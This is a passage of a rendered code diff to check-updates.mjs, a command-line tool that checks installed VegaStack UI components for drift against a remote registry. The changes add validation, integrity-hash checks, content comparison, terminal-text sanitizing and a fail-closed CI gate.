|
246
558
|
return 2;
|
|
247
559
|
}
|
|
248
560
|
|
|
@@ -254,120 +566,365 @@ export async function main(argv) {
|
|
|
254
566
|
// matching their filename against the index's item names)
|
|
255
567
|
let index;
|
|
256
568
|
try {
|
|
257
|
-
const res = await
|
|
569
|
+
const res = await fetchRegistry(idxUrl, headers);
|
|
258
570
|
if (!res.ok) {
|
|
259
|
-
console.error(
|
|
260
|
-
|
|
571
|
+
console.error(
|
|
572
|
+
`✗ registry index fetch failed: HTTP ${res.status} ${terminalText(res.statusText)} (${terminalText(idxUrl)})`,
|
|
573
|
+
);
|
|
574
|
+
if (missingEnv.size)
|
|
575
|
+
console.error(
|
|
576
|
+
` hint: these auth env vars are unset: ${[...missingEnv].join(", ")}`,
|
|
577
|
+
);
|
|
261
578
|
return 2;
|
|
262
579
|
}
|
|
263
580
|
index = await res.json();
|
|
264
581
|
} catch (err) {
|
|
265
|
-
console.error(
|
|
582
|
+
console.error(
|
|
583
|
+
`✗ could not reach the registry at ${terminalText(idxUrl)}: ${terminalText(err.message)}`,
|
|
584
|
+
);
|
|
585
|
+
return 2;
|
|
586
|
+
}
|
|
587
|
+
if (!Array.isArray(index.items)) {
|
|
588
|
+
console.error("✗ registry index has no items array");
|
|
266
589
|
return 2;
|
|
267
590
|
}
|
|
268
591
|
const remote = new Map();
|
|
269
|
-
|
|
592
|
+
const targetOwners = new Map();
|
|
593
|
+
for (const item of index.items ?? []) {
|
|
594
|
+
if (
|
|
595
|
+
!item ||
|
|
596
|
+
typeof item !== "object" ||
|
|
597
|
+
Array.isArray(item) ||
|
|
598
|
+
!ITEM_NAME_RE.test(item.name) ||
|
|
599
|
+
!VERSION_RE.test(item.meta?.version ?? "") ||
|
|
600
|
+
!Array.isArray(item.files) ||
|
|
601
|
+
item.files.some(
|
|
602
|
+
(file) => !file || typeof file !== "object" || Array.isArray(file),
|
|
603
|
+
)
|
|
604
|
+
) {
|
|
605
|
+
console.error("✗ registry index contains an invalid item identity");
|
|
606
|
+
return 2;
|
|
607
|
+
}
|
|
608
|
+
if (remote.has(item.name)) {
|
|
609
|
+
console.error("✗ registry index contains a duplicate item name");
|
|
610
|
+
return 2;
|
|
611
|
+
}
|
|
612
|
+
remote.set(item.name, item);
|
|
613
|
+
for (const file of item.files) {
|
|
614
|
+
const target = uiTargetPath(file);
|
|
615
|
+
if (!target) continue;
|
|
616
|
+
if (targetOwners.has(target)) {
|
|
617
|
+
console.error(
|
|
618
|
+
"✗ registry index maps more than one item to the same @ui target",
|
|
619
|
+
);
|
|
620
|
+
return 2;
|
|
621
|
+
}
|
|
622
|
+
targetOwners.set(target, item.name);
|
|
623
|
+
}
|
|
624
|
+
}
|
|
270
625
|
|
|
271
626
|
// scan for installed VegaStack components:
|
|
272
627
|
// - headered files (our own tooling / older CLIs preserve the provenance line) — always included
|
|
273
628
|
// - headerless files whose basename matches a registry item — the REAL `shadcn add` strips
|
|
274
629
|
// the header, so this is the normal consumer case
|
|
275
630
|
// - headerless files NOT in the index are skipped (they're the consumer's own components)
|
|
276
|
-
let
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
631
|
+
let installedFiles;
|
|
632
|
+
try {
|
|
633
|
+
installedFiles = walk(dir);
|
|
634
|
+
} catch (err) {
|
|
635
|
+
console.error(`✗ ${terminalText(err.message)}`);
|
|
636
|
+
return 2;
|
|
637
|
+
}
|
|
638
|
+
const grouped = new Map();
|
|
639
|
+
for (const installedFile of installedFiles
|
|
640
|
+
.map((file) => readInstalled(file, dir))
|
|
641
|
+
.filter(Boolean)) {
|
|
642
|
+
const itemName = installedFile.header
|
|
643
|
+
? installedFile.name
|
|
644
|
+
: targetOwners.get(installedFile.relativePath);
|
|
645
|
+
if (!itemName) continue;
|
|
646
|
+
const group = grouped.get(itemName) ?? { name: itemName, files: [] };
|
|
647
|
+
group.files.push(installedFile);
|
|
648
|
+
grouped.set(itemName, group);
|
|
649
|
+
}
|
|
650
|
+
let installed = [...grouped.values()];
|
|
280
651
|
if (opts.filter) {
|
|
281
|
-
const res = opts.filter.split(
|
|
652
|
+
const res = opts.filter.split(",").map((s) => globToRe(s.trim()));
|
|
282
653
|
installed = installed.filter((c) => res.some((re) => re.test(c.name)));
|
|
283
654
|
}
|
|
284
655
|
if (installed.length === 0) {
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
656
|
+
// `--fail-on-update` is the CI drift gate. Exiting 0 here would make it FAIL OPEN: a project
|
|
657
|
+
// whose components live outside the default path (any monorepo, any package-based layout, or a
|
|
658
|
+
// wrong `--dir`) would get a permanently green gate that checked nothing at all. Zero components
|
|
659
|
+
// under an explicit gate is a misconfiguration, not a clean bill of health — say so and fail.
|
|
660
|
+
// Without the gate flag this stays informational and exits 0, since "no components yet" is a
|
|
661
|
+
// legitimate state for a project mid-setup.
|
|
662
|
+
const gateOnEmpty = opts.failOnUpdate === true;
|
|
663
|
+
if (opts.json)
|
|
664
|
+
console.log(
|
|
665
|
+
JSON.stringify(
|
|
666
|
+
{
|
|
667
|
+
registry: idxUrl,
|
|
668
|
+
checked: 0,
|
|
669
|
+
updates: 0,
|
|
670
|
+
items: [],
|
|
671
|
+
...(gateOnEmpty ? { error: "no-components-found" } : {}),
|
|
672
|
+
},
|
|
673
|
+
null,
|
|
674
|
+
2,
|
|
675
|
+
),
|
|
676
|
+
);
|
|
677
|
+
else if (gateOnEmpty)
|
|
678
|
+
console.error(
|
|
679
|
+
`✗ no VegaStack components found in ${terminalText(dir)}, but --fail-on-update was set.\n` +
|
|
680
|
+
` A drift gate that scans nothing passes vacuously, so this is an error, not a pass.\n` +
|
|
681
|
+
` Point it at the right directory (\`--dir <path>\`) or drop --fail-on-update.`,
|
|
682
|
+
);
|
|
683
|
+
else
|
|
684
|
+
console.log(
|
|
685
|
+
`No VegaStack components found in ${terminalText(dir)}. (Add some with \`shadcn add @vegastack/<name>\`.)`,
|
|
686
|
+
);
|
|
687
|
+
return gateOnEmpty ? 1 : 0;
|
|
288
688
|
}
|
|
289
689
|
|
|
290
|
-
|
|
291
|
-
const aliasRoot = (componentsJson?.aliases?.components ?? '@/components').split('/')[0];
|
|
690
|
+
const aliases = componentsJson?.aliases ?? {};
|
|
292
691
|
|
|
293
|
-
// Resolve each installed file
|
|
294
|
-
//
|
|
295
|
-
//
|
|
296
|
-
// different → 'drift' (an upstream update OR local edits — `add --diff` disambiguates)
|
|
692
|
+
// Resolve each installed file by comparing alias-normalized CONTENT against the verified current
|
|
693
|
+
// item. A provenance header is identity/version metadata only: trusting it without reading the
|
|
694
|
+
// body would let a locally edited or backdoored file report `current` merely by retaining line 1.
|
|
297
695
|
const itemUrlFor = (name) =>
|
|
298
|
-
urlTemplate.includes(
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
696
|
+
urlTemplate.includes("{name}")
|
|
697
|
+
? urlTemplate.replace("{name}", name)
|
|
698
|
+
: `${urlTemplate.replace(/\/$/, "")}/${name}.json`;
|
|
699
|
+
|
|
700
|
+
async function resolveStatus(group) {
|
|
701
|
+
const r = remote.get(group.name);
|
|
702
|
+
const firstHeader = group.files.find(({ header }) => header)?.header;
|
|
703
|
+
if (!r)
|
|
704
|
+
return {
|
|
705
|
+
name: group.name,
|
|
706
|
+
current: firstHeader?.version ?? null,
|
|
707
|
+
latest: null,
|
|
708
|
+
status: "missing",
|
|
709
|
+
};
|
|
710
|
+
|
|
711
|
+
const expectedTargets = (r.files ?? []).map(uiTargetPath).filter(Boolean);
|
|
712
|
+
const installedByTarget = new Map(
|
|
713
|
+
group.files.map((file) => [file.relativePath, file]),
|
|
714
|
+
);
|
|
715
|
+
const missingTargets = expectedTargets.filter(
|
|
716
|
+
(target) => !installedByTarget.has(target),
|
|
717
|
+
);
|
|
718
|
+
const unexpectedTargets = group.files.filter(
|
|
719
|
+
(file) => !expectedTargets.includes(file.relativePath),
|
|
720
|
+
);
|
|
721
|
+
if (missingTargets.length || unexpectedTargets.length) {
|
|
722
|
+
return {
|
|
723
|
+
name: group.name,
|
|
724
|
+
current: firstHeader?.version ?? null,
|
|
725
|
+
latest: r.meta.version,
|
|
726
|
+
status: "drift",
|
|
727
|
+
note: "installed file set differs from the registry item",
|
|
728
|
+
};
|
|
306
729
|
}
|
|
730
|
+
|
|
307
731
|
try {
|
|
308
|
-
const res = await
|
|
732
|
+
const res = await fetchRegistry(itemUrlFor(group.name), headers);
|
|
309
733
|
if (!res.ok) throw new Error(`HTTP ${res.status}`);
|
|
310
734
|
const item = await res.json();
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
const
|
|
315
|
-
|
|
735
|
+
if (item.name !== group.name || !Array.isArray(item.files)) {
|
|
736
|
+
throw new Error("registry item identity/files contract mismatch");
|
|
737
|
+
}
|
|
738
|
+
const fetchedTargets = item.files.map(uiTargetPath).filter(Boolean);
|
|
739
|
+
const sortedFetchedTargets = [...fetchedTargets].sort();
|
|
740
|
+
const sortedExpectedTargets = [...expectedTargets].sort();
|
|
741
|
+
if (
|
|
742
|
+
new Set(fetchedTargets).size !== fetchedTargets.length ||
|
|
743
|
+
sortedFetchedTargets.length !== sortedExpectedTargets.length ||
|
|
744
|
+
sortedFetchedTargets.some(
|
|
745
|
+
(target, index) => target !== sortedExpectedTargets[index],
|
|
746
|
+
)
|
|
747
|
+
) {
|
|
748
|
+
throw new Error(
|
|
749
|
+
"registry item file-target set does not match the registry index contract",
|
|
750
|
+
);
|
|
751
|
+
}
|
|
752
|
+
if (
|
|
753
|
+
item.files.some(
|
|
754
|
+
(entry) => uiTargetPath(entry) && typeof entry.content !== "string",
|
|
755
|
+
)
|
|
756
|
+
) {
|
|
757
|
+
throw new Error("registry item contains a non-string component file");
|
|
758
|
+
}
|
|
759
|
+
const computedIntegrity = itemHash(item);
|
|
760
|
+
if (
|
|
761
|
+
item.meta?.integrity !== computedIntegrity ||
|
|
762
|
+
r.meta?.integrity !== computedIntegrity
|
|
763
|
+
) {
|
|
764
|
+
throw new Error("registry item integrity does not match the index");
|
|
765
|
+
}
|
|
766
|
+
let same = true;
|
|
767
|
+
for (const entry of item.files ?? []) {
|
|
768
|
+
const target = uiTargetPath(entry);
|
|
769
|
+
if (!target) continue;
|
|
770
|
+
const local = installedByTarget.get(target);
|
|
771
|
+
const expectedVariants = expectedVariantsForCompare(
|
|
772
|
+
entry.content ?? "",
|
|
773
|
+
target,
|
|
774
|
+
aliases,
|
|
775
|
+
entry.type,
|
|
776
|
+
);
|
|
777
|
+
if (
|
|
778
|
+
!local ||
|
|
779
|
+
!expectedVariants.has(normalizeForCompare(local.content, aliases))
|
|
780
|
+
) {
|
|
781
|
+
same = false;
|
|
782
|
+
break;
|
|
783
|
+
}
|
|
784
|
+
}
|
|
785
|
+
const headerMatchesCurrent = group.files.every(
|
|
786
|
+
({ header }) =>
|
|
787
|
+
!header || (r.meta?.integrity && header.hash === r.meta.integrity),
|
|
788
|
+
);
|
|
789
|
+
return {
|
|
790
|
+
name: group.name,
|
|
791
|
+
current: firstHeader?.version ?? null,
|
|
792
|
+
latest: r.meta.version,
|
|
793
|
+
status: same ? "current" : headerMatchesCurrent ? "drift" : "update",
|
|
794
|
+
};
|
|
316
795
|
} catch (err) {
|
|
317
|
-
return {
|
|
796
|
+
return {
|
|
797
|
+
name: group.name,
|
|
798
|
+
current: null,
|
|
799
|
+
latest: r.meta.version,
|
|
800
|
+
status: "error",
|
|
801
|
+
note: `item fetch failed: ${err.message}`,
|
|
802
|
+
};
|
|
318
803
|
}
|
|
319
804
|
}
|
|
320
805
|
|
|
321
|
-
const rows = (await
|
|
322
|
-
const rank = {
|
|
806
|
+
const rows = (await mapLimit(installed, 8, resolveStatus)).sort((a, b) => {
|
|
807
|
+
const rank = { error: 0, update: 1, drift: 1, current: 2, missing: 3 };
|
|
323
808
|
return rank[a.status] - rank[b.status] || a.name.localeCompare(b.name);
|
|
324
809
|
});
|
|
325
810
|
|
|
326
|
-
|
|
811
|
+
// A removed/renamed installed item is actionable drift too: silently treating it as current
|
|
812
|
+
// leaves dead, unmaintained code in the consumer and defeats --fail-on-update.
|
|
813
|
+
const updates = rows.filter(
|
|
814
|
+
(r) =>
|
|
815
|
+
r.status === "update" || r.status === "drift" || r.status === "missing",
|
|
816
|
+
);
|
|
817
|
+
const errors = rows.filter((r) => r.status === "error");
|
|
327
818
|
|
|
328
819
|
if (opts.json) {
|
|
329
|
-
console.log(
|
|
330
|
-
|
|
820
|
+
console.log(
|
|
821
|
+
JSON.stringify(
|
|
822
|
+
{
|
|
823
|
+
registry: idxUrl,
|
|
824
|
+
checked: rows.length,
|
|
825
|
+
updates: updates.length,
|
|
826
|
+
errors: errors.length,
|
|
827
|
+
items: rows,
|
|
828
|
+
},
|
|
829
|
+
null,
|
|
830
|
+
2,
|
|
831
|
+
),
|
|
832
|
+
);
|
|
833
|
+
return errors.length ? 2 : opts.failOnUpdate && updates.length ? 1 : 0;
|
|
331
834
|
}
|
|
332
835
|
|
|
333
836
|
// human table
|
|
334
837
|
const host = (() => {
|
|
335
838
|
try {
|
|
336
|
-
return
|
|
839
|
+
return (
|
|
840
|
+
new URL(idxUrl).host +
|
|
841
|
+
new URL(idxUrl).pathname.replace(/\/registry\.json$/, "")
|
|
842
|
+
);
|
|
337
843
|
} catch {
|
|
338
844
|
return idxUrl;
|
|
339
845
|
}
|
|
340
846
|
})();
|
|
341
|
-
console.log(
|
|
847
|
+
console.log(
|
|
848
|
+
`\nChecking ${rows.length} VegaStack component(s) against ${host} …\n`,
|
|
849
|
+
);
|
|
342
850
|
const nameW = Math.max(...rows.map((r) => r.name.length), 4);
|
|
343
|
-
const GLYPH = {
|
|
851
|
+
const GLYPH = {
|
|
852
|
+
error: color.red("!"),
|
|
853
|
+
update: color.yellow("⬆"),
|
|
854
|
+
drift: color.yellow("≈"),
|
|
855
|
+
current: color.green("✓"),
|
|
856
|
+
missing: color.dim("?"),
|
|
857
|
+
};
|
|
344
858
|
for (const r of rows) {
|
|
345
859
|
const ver =
|
|
346
|
-
r.status ===
|
|
347
|
-
|
|
348
|
-
|
|
860
|
+
r.status === "update"
|
|
861
|
+
? `${r.current} → ${r.latest ?? "?"}`
|
|
862
|
+
: r.status === "drift"
|
|
863
|
+
? `→ ${r.latest ?? "?"}`
|
|
864
|
+
: (r.current ?? r.latest ?? "—");
|
|
349
865
|
const note =
|
|
350
|
-
r.status ===
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
866
|
+
r.status === "error"
|
|
867
|
+
? color.red(
|
|
868
|
+
terminalText(r.note ?? "registry item could not be checked"),
|
|
869
|
+
)
|
|
870
|
+
: r.status === "update"
|
|
871
|
+
? color.yellow("update available")
|
|
872
|
+
: r.status === "drift"
|
|
873
|
+
? color.yellow(
|
|
874
|
+
"differs from registry (update or local edits — review with --diff)",
|
|
875
|
+
)
|
|
876
|
+
: r.status === "current"
|
|
877
|
+
? color.dim("up to date")
|
|
878
|
+
: color.dim("not in registry (renamed/removed)");
|
|
879
|
+
console.log(
|
|
880
|
+
` ${GLYPH[r.status]} ${r.name.padEnd(nameW)} ${String(ver).padEnd(16)} ${note}`,
|
|
881
|
+
);
|
|
355
882
|
}
|
|
356
|
-
console.log(
|
|
357
|
-
if (
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
|
|
883
|
+
console.log("");
|
|
884
|
+
if (errors.length) {
|
|
885
|
+
console.log(
|
|
886
|
+
color.red(
|
|
887
|
+
`${errors.length} registry item check(s) failed. No overwrite recommendation is safe until access/connectivity is restored.`,
|
|
888
|
+
),
|
|
889
|
+
);
|
|
890
|
+
} else if (updates.length) {
|
|
891
|
+
const refreshable = updates.find((row) => row.status !== "missing");
|
|
892
|
+
const removed = updates.filter((row) => row.status === "missing");
|
|
893
|
+
console.log(color.bold(`${updates.length} actionable change(s) found.`));
|
|
894
|
+
if (refreshable) {
|
|
895
|
+
console.log("Review & apply registry updates (repeat per component):");
|
|
896
|
+
console.log(
|
|
897
|
+
` npx shadcn@latest add @vegastack/${refreshable.name} --diff`,
|
|
898
|
+
);
|
|
899
|
+
console.log(
|
|
900
|
+
` npx shadcn@latest add @vegastack/${refreshable.name} --overwrite`,
|
|
901
|
+
);
|
|
902
|
+
console.log(
|
|
903
|
+
color.dim(
|
|
904
|
+
"\nNote: --overwrite replaces files; if you customized a component, git diff first.",
|
|
905
|
+
),
|
|
906
|
+
);
|
|
907
|
+
}
|
|
908
|
+
if (removed.length) {
|
|
909
|
+
console.log(
|
|
910
|
+
color.yellow(
|
|
911
|
+
`${removed.length} installed item(s) no longer exist in the registry; remove or migrate them deliberately.`,
|
|
912
|
+
),
|
|
913
|
+
);
|
|
914
|
+
}
|
|
363
915
|
} else {
|
|
364
|
-
console.log(color.green(
|
|
916
|
+
console.log(color.green("Everything is up to date."));
|
|
365
917
|
}
|
|
366
918
|
|
|
367
|
-
return opts.failOnUpdate && updates.length ? 1 : 0;
|
|
919
|
+
return errors.length ? 2 : opts.failOnUpdate && updates.length ? 1 : 0;
|
|
368
920
|
}
|
|
369
921
|
|
|
922
|
+
export { terminalText };
|
|
923
|
+
|
|
370
924
|
// standalone execution (so `node check-updates.mjs` works; the dispatcher imports main() instead)
|
|
371
|
-
if (
|
|
925
|
+
if (
|
|
926
|
+
import.meta.url === pathToFileURL(process.argv[1] ?? "").href ||
|
|
927
|
+
basename(process.argv[1] ?? "") === "check-updates.mjs"
|
|
928
|
+
) {
|
|
372
929
|
main(process.argv.slice(2)).then((code) => process.exit(code));
|
|
373
930
|
}
|